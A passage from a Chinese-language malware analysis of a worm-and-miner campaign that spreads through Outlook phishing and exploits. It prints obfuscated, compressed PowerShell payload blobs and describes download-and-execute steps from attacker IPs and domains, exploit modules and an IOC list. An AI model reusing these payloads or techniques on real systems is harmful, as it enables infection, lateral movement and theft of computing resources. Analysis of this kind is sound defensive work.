f64075fd1dae3dd4f5e3f6c762e7ee2c1d53b52ae77efcdef7d7270b058beceeffef4bb4bf242ce96c4b3abfa931f3c68697d8f68ffc9bdbdcba7ef5e56942cfde4e1ceeadebafda94f7efa075fe677cf3f6f9f7f4ae1f2dbc9ecf5bd4f7eefdffbd3bb2fbebcb7c89fd775b3be5effa2c90faa9afafff4d5deb7670f3f59ec35bf687f32fbfcfcdb27d441fee0ddef734a699bf5cb87675f9dcf97cb574b4a483cfcbd9a4fabfb07eb770fae9f13df175fdecf970f3e39f9bd7ff0fa6efdd5a2f864f793f37ceffcc9773fdd597f4a4ae2a7da9ffe7dde3d9c7ce7fe4fffe0de6cd19cdf9b35f7663f7df9c9f4f79ebcb8f7e94ffe22f20a1eb69469bc7b6ff5e2fe4fb6bff70f1efef4eeabeb077beb4fdfde7bf6eceec50ff69a4fc9967ffbdeef3dbdff7bed35dfbd2ef383ec2e757a7eb95bd6554d8bb00d60173fa050fac5a7b3fac1e2eefddd079fae5e3db8feaafdc9ecf979fb83e2e007df3eb87fefe5f945f38b8e3f2f96dfa9dbd75f4e5e4e9efcc4e2a7a60f7f40abea77bff3e5eefd2f3f25a097974b4ab1922b77ffe1c383bd9f7af0c5d3b7cf16bb3ff953dffdc9c5f5935f74fd8b565f5cbf5aed3e79f03acb7f70f6f9170f7ee2f8f4edeff3e6faf4e2c9d9c9fcf5b7f77feffaab87bf17d98ddfebdedef3c55745f99d774f7e9f6fefd02ae57d4ab26d5d2c0bea7bffd3bcc99e2caafad9a347df6fc9855a5627dfdb7a7afe9d9f1e6da58b2ca726141d2cf22fc65f9ea5ed34ffe9c997db57f90b6e611ae46d56d25acf7859154d93d7ab4575126d5de7b32c7f25ef441aa4efae9e7e7e7af61b27bf71f2e4f2275e4d9a9f1ee70b7aa3fee2f7fef4a70bfee893d5a27d74b9ccd1fcb3e6a77fffb6cdf0ab7d655acd62efb877a841efa5e7afbefafd4f5f7d79c27f7c56d6ebdf9f4832314d7ef19dddb4bdd84edbe5ba9a8eefbcadaab25d7fc928b5e75553d5d3e20bfeabcca6d573fe2da30e56ab63fe3d5f64cb3a6fd60603feb0a14fbee2df1e9da48bbc2d6665319f6eb7f9c5d6d679815e798a7ecfcff25935fdfdcb225b186cf269bdae1afe332572b7c5b220cae7abeb37db29ff3b9b1da3ddefc983c16fbf84ff49e9c12ffa6be44ff351f0c1e087f68b1f1bfae6f0ce6c311d2df3b7d51b8c76be4acff37a8bff9eb7c5778951a624ee6d9db5af7f6c0310e1046a3c5dbf4ef9ed94d86d5a94abf553fe6e2b5f16cf8984f577c7795935c4bec3e07ef1e03777ee74304d47bbe9682f1d5575fe53e3ba7dd92ecfd2d14e2a0302e5b36545d3b85a9ccdb7de9df2a716afadf4bc78bf2189e4bc4edbfcf3a1410dc1fbc5435fe890425c65684fcfb4c371d16cd9815fd38af84fbc7ef35da03f04f4f08effee278ceca3a767b718c020c4fc07c5eb76992ff2f2f43aabeb2cfdec1312b6bcaed7d3c177eedcf9f2d98bb3dfffc59767af5f9fbefefd81f47945fcdfa6a33bfaeed61d99b5adadbc5eb7d335e91c1a66fb725c66f3a6cebee843483f4b8b26ed7e3c84438fee4cf34f3e29d243a88a13a148933e4ee9931dc0a65115a404abf3d89b8777b6f63f2574ab37e3ea7c6968bca2f70c2df8ebd8ab01268c0575f7bba677023478de03c886c9770226df6ab40171739d2fd6cbd3084788ea38f465e3b3d41720fdb0f3caf0b46d9d7f0936307343d07a5c41c4ebc1db61f278a38c350ab10c48308066645c1d298abf6827822781d45fca36b6d99a2d4ea6f9bbd3d9f2d85017844d674575994e0970dbd08f72b25ef9003aaafaf08eaacc393308fdb6dacacbd932fb76de5465205eaa7ec972cedfdcb6b59bbd4deda0f07fecc7742eb7c8e5a94ff7ee2d8befb64df69c44dfcc5f4c27e3358af2a08405429a37659ef6ec4f473feaa0533614b7d18d3189205d68a890b6ebca6f6e5e61d94027222ab11665b95e46bfb85c9eaea25f341759f98c5927af4fae66d13644852caa1102d3f375be270614059d4eefcacf582bfe267f978fa939bb24fccf1ef9e56d73ddb84f9aab6ab62caef4039a49782fd361b81e43e1dfe6986792deab5fe64c8f98523964786db9ce28b1e0fadea169a1bea5b3cfd255d5be6df2a7ab72ec26ad0b6897da31f9af661b5a4181f0b8be7b55cd5f5f6d6ab9bbc3cfbb9df4273f7fdaeea73b3bfbe603edc99b68d243ebbb778da8c89b07eff16eaf7bd19c2fbf7af3eaf8cdeb41a539990e8f409171f21b88d9db69553e81a9592cabba20864e6592065d2c816264f9ce1d66636fd24528e0f231680fb2ce3eb9488a49a86ef9bd21fbb145a6e3cdf117afd88c900d39f9f2d5cbf42a5faa6267017fa1f1b8d7d2b4ecc3f3a8eac11102fadf75de1cd2f41e01cc1806bdde40fd13512e0b42de03dbd5ffd4845e7afdfaf8f9c9ef7ffa86907a7372fae2c59727eca45c97cb0a0abf63471cac430a445e3097b5af89dd5782f0eb9b5efc3e7951af5f3e1f23b698e517d9325b2cbfda6a8e95e7be17e9c83a88e9de3d22c057377511d0b2e77db1e716a5cff7ef9459417cb5fe45e48b9208ff5ea4d9afb3e75bf2433c3e8b5f84a0143b9d75fc3b515c57d5d3d8e76ddee4afa22f90a62c9ec7be214b1aed629653e8bb5c56d3a68876452a299bbf8e7dc33ebabc7cb20972f4cbfcb268a7c7916f822918e030f258f2dbb0293b05b3f6b51580f8ac1fb6eb15c5d1b76bb83cbb45bbbd597e59638e5665b7e550cbc994fc8a6adef5be6c43cf346c6ea8964674f7409bbc5d4f48e4dae3b22c6e6a4bb2353f61cff6f7b975cbdffba6fec956dc040d6d6e8273138c1bf128dbe20dcd912aa08156d6c6dfd0ce9bf4cd0d31d7141ddc520719bdffb3a77e0e6767e2a1df40aed9991a8d9bda89bb7f03eb9b186273b3801c31936bc8a2a6f61ba1cea104ac2b9e26e78393c7681b0501acf5123afe3a3744a33aff490d08c3ef0ccb44bfacf1a5d3359dafa3d131c3a1245ffb2edf60cebf7f27a7419383c10a5202a6d7a9b8df65391bef51c23f6b5a7172b748db50a059964f7b44125f2218fc68664d2e38a49fd149cbaa9adc16c5cf3623f8dd9b106c494faeb2e5eb39664e930a7e48f93eb86c2257991390b73762e31c4f6b177a2ee97545dc9c3fbd356ad4eec9904b943e5ad66b5a960f30b96934941c4692f8c6c114753e5f9e4d045171362dab8e6243dde081df7ab4df08eac201619e74930097f965fe3cc8ba44c515932029d4d8b78ddadcf658b4a3234baf25e2a0e3595e17c4070341d8c81b03d91a72fade9d0ee9896e4af8d6c4663a76df36812f6155bdbcae5b0acf3a727939cb6e541c20e6a2860a552b40e4882af730436215ef6acd710bbde55bc8d8e4d18a11b9a175f154729727ce38775b4679b6dbe83611b24e4e28213d40b7e707dbd2d16aa0298263ea7a41ab5ec3e3b4d1172674753cdc3094e9ceb79c49519bab0915934db9358395657642de3416eb88f858ee234cf021529dbdcf4645b33c1e93c4c3cd0407ea6fa361a5e0657b0c72df04ff3ed38773264f5d90f8f4ecf9f14fbe3813a6a0345135ed8f5b3d1ac061034e11dbbb5393596c9aac9c1a92397f088d7f31bf5116ed57693ecd560d16f3141d7ab980a740466e45090c9a2c5a7824eaad5f8d3973f61a13dcacb96df7031e292dee4ded5a1ecde7d6d61dfa97fe4734face36fd7c8789fefebdd1eef7eee4d3e5e9abd367b4b47ada549357a797ed62fafd8b17c8387c6f2bdd1a7fbcb5b595def9f8635a3ef8e9edefdfdf1b7dba37daffdef4f4e5eb2fbe9c3efac917a7bf5bba958ed38feea487c58bcbeaf7cab7f3772f09f9e6eccb17f4fe45fe66bb78932fd274ebe3cbe35734a4e2f809fd5b9e3e42c26efe62f6f19d34bd33a615ecaff2ef6da7bbe3f176baf57eaf8dc95c5fbcf9767ae7fbe9f677be3c5b7efc717ae7374efe1f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd(); |
去混淆解密后
('$msource=@" |
该脚本首先检测了是否存在outlook,如果存在则遍历通讯录并发送带有恶意宏的word文档,同时清除发件箱中的记录。
发送的主题和正文内容为以下随机一组,均为诱导受害者打开带有恶意宏的Word文档
主题 The Truth of COVID-19 |
ode.bin 下载者
$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f225ee76d9a6e7dfcf4e34f3edefdbd8e3ffdf80efd95a61fa5e99df4cea7f7beff2a9b4fbf37faf87aa7fe38cda759f9f2f4d576fad07c7e67e7a1fcf6c9c3dd5df3db81fc4250ec0b7bda6c74e7e1be36dbdd332fdcb32f98f6773efe8d93df3821047eeaeaf7d9bd7e4dff8eee3c78f0fd57c7684e88ee5067f4e3d531fd838ff6efe33bfa83806c9d1290555e8f197bbcf1fd8b176775db50e7dc270339d835bf7dfaa9fce2bdb8df7d911038787545ffba36208176efe0efdd37e0f7f59707a61f1fbcc1425e242078f7537a977e95d70f0c1c1db4f73661f14b409d5f42bf7c42ffff31fd89cff4d71c3f0916fd288bf3d47cba721f5fcb0f7cdc6edbdfe997df27dd9fb799fcaa9facae2fb529fdf5447f4d17797bb6ed5ebbcaed3bbfcf8b1f7338d95f7e097f265df9283fd3dfef1ac0fa93e8dde8af93cb71dbeaef5f2cf5974fbf587eba22241e19e4cc17b945f7c94f5177b6d303308c7e7395d6edddf440ff7a75952f32f33a8df609f59d2eb5470caa8bdbcefdb45ad017f6f3d3375fbd383318722be9736a867037cddb2cafa777d3e66d93b5f369934eef529b347f978f67da6831fd858632f49547c4df38698806fa67dbd2c8bfd03f8806e6e5dc7cffe872697ebfd69f974fd299a5cf6a75bc6d79a22c9e6116a93f7e77fda519d2c1effd22dddf599b76b3623eb91c598ae9cfabfd1dfd6d9d7e92ce0d06d92a5fe8efd9d220e84d8b76f189c182fa31bf128574d6e88fd962eae6285daeeb7183ef1c5a96461e731972792c43bce2f8dda35840aa4b8b97fe64da7429e2fad9a11f6bfaff1dfd9e98a62cf3f9ebb1e97755d453c8f677dd18b6f437d3649afff4e44be68c9fb27370e211e033d377033e4ccd6bf9eb7dfd6d676d29e0b3cb2f36a36acafc97fcd88fb19c31bb1192739e1ecbeff4a99ba1271eb921216e680e274fb92c8cccf397810811d11bfdf3aa9ab9b797c577e92b371bed7965da55f5b4f882be3cb0dc058c97ed5df336ff48217cda60e109a0fef6d50bfde5ec8b74dadc4dbf387df3faf7d18f5e9bd6ebda0e4d09856140edc96724a7a6a941eeadf925339320329c1a4abf332f13a8f1ccb0ff547f1ac1463f321ffac52f36ec43dfb4c5a2ce572cb342202b315be7fa5b8197dd1bfa3b13e617dfb9e3a471273f375ac52008fd37997d6afedac976e53d6e73be73ff60ffc0f472efc18307faeb4387f7a7fbd9bdf3dc715efa8b723500bf4f7ae7ce9d390c999090e182c9f4eb253862abc9dbeb276579ac1fce2cb9f5e7ab478fbe0f991b7f7946aec0fdd9e2626bcb4c9319cc32db66a74009045e3650c2de0c625e8b6d33738488feb6b5755ef87273c7536116aefe02f02aa24b99a49f826275c8f4b523a47f91d599b3a04f7e0fd38107950738ded9bbbb67e66f6fbc7f7f577f1f3f7c387e60a66df7aee1cc470641abe70cee077023acaa218a9ed3df868059457f9490541e0bcf1409e8f88e81b2cc0bfd0d0da7fafb24bf1ab7f9326da766b67e7aa2bf1861dcbeca97a653c7a4a48bf437624f4b5d838ce340cc194d96f9e2636825fbe576db98d1b45bbf2bcd99056efb211505530ac526ea875e26ffc000b45e027dbccc1d7fc0d27f968a4a347d7b16eb89370e7af3ce9d8374b15e98eedf99c933d6d89ad57d6eb62cbeb09f2c0c991c27bf32d2d3e69f6fa5ed725d9d5838ae39da5103ab8af5e7ef4de8185597ded9dbdb35eec1b823b9bf8f9993ef9b9fdfab9dab96cda7df33ed4c179ead2ce85760a27cffd3db442cfdcaf0c14d64d35fac52c7a45e54e5f8adfefdd62894b7e613e7e2594b6dfaec4d2770f52c384d277d6050fc2c751cc71c25f3beb5050df27be39befefdffb5efec597df7ebda2f8e693efefee51abefd1ff4f175f7ebbc167140a8d3fdea2373efe7859543fbdfdfdbdd1eeee885e5a642fc6773efe563dfbe25b1fa7a7cf9f1c9fbdca2eb7dfe4d059bf50a2a7c374fba7bf3c7b41203e3f6db7cfdafc8b74eba3cbe3bac83efae4a3c973fae7f4d1d3ddb7c7f4cba71f51ac33be3c2ebfcabfb7bd3b1e6f6fbddf4be3f2f4c5e76fe677be9ffecc98fadbfa5ef3e6d5d98bcfbfffbb5d9ebe7af26573faf255feecb43e5d9ee477be47e87fff938f7fef8f19b98f3fbef31b27ff0f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd(); |
简单解密去混淆后
& ((geT-vaRIABLE '*Mdr*').Name[3,11,2]-join'')((('. ( $psHOmE[21]+$pSHOMe[34]+'X')(('$path4 = "$env:temp6nMkk4kk.log' |
主要功能从167.99.154.202
下载20.dat
并设置为计划任务,下载的文件是一个pyinstaller打包的可执行文件
if.bin 横向核心文件
脚本解密后为1W+行的powershell文件,粘贴后篇幅过长,故文章截取主要功能进行说明
在后续横向扩散过程中标识受害机存在的漏洞并从http://t.amynx.com
下载以下存在对应漏洞的文件:7p.php
、ipc.jsp
、ipco.jsp
、ms.jsp
、mso.jsp
、rdp.jsp
、rdpo.jsp
、core.png
(通过参数rds
、rdso
、ssh
、ssho
判断主机存在的漏洞)、smgh.jsp
、smgho.jsp
、logic.jsp
、logico.jsp
依次尝试ipconfig /all
、ipconfig /displaydns
、netstat -ano
获取本机内网地址,并访问https://api.ipify.org/
获取本机外网IP
脚本内置C类网段:
- 192.168.0
- 192.168.1
- 192.168.2
- 192.168.3
- 192.168.4
- 192.168.5
- 192.168.6
- 192.168.7
- 192.168.8
- 192.168.9
- 192.168.10
- 192.168.18
- 192.168.31
- 192.168.199
- 192.168.254
- 192.168.67
- 10.0.0
- 10.0.1
- 10.0.2
- 10.1.1
- 10.90.90
- 10.1.10
- 10.10.1
- 172.16.1
- 172.16.2
- 172.16.3
内置模块如下
MS17-010
扫描+利用模块SMB1/2
匿名登录扫描+利用模块IPC
空连接利用模块,用于将批处理文件复制到远程机启动目录下Hadoop yarn
框架RCE模块weblogic CVE-2020-14882/14883
RCE模块mssql xp_cmdshell
命令执行模块SMB暴力破解模块
内网扫描模块
USB快捷方式漏洞利用模块
利用
powerdump
转储本机Hash模块SMB-Ghost
漏洞利用模块SSH爆破模块
探测是否为公网IP模块
redis命令执行模块
RDP暴力破解模块
预置字典,用于组NTLM hash、爆破模块
扫描信息回报模块,将扫描的信息回报到
http://d.ackng.com/log.json
kr.bin 挖矿核心
脚本功能如下:
判断本机是否为公网IP
检查当前用户是否有
SeDebugPrivilege
权限矿池通讯
循环干掉竞争对手进程
循环干掉竞争对手服务
IOCS
IP
- 128.199.183.160
- 45.61.139.154
- 161.35.107.193
- 66.42.43.37
- 167.99.154.202
- 139.162.80.221
- 128.199.183.160
- 128.199.188.255
- 167.71.158.207
Domains
- http[:]//d.ackng.com
- http[:]//t.amynx.com
- http[:]//t.zer9g.com
- http[:]//t.zz3r0.com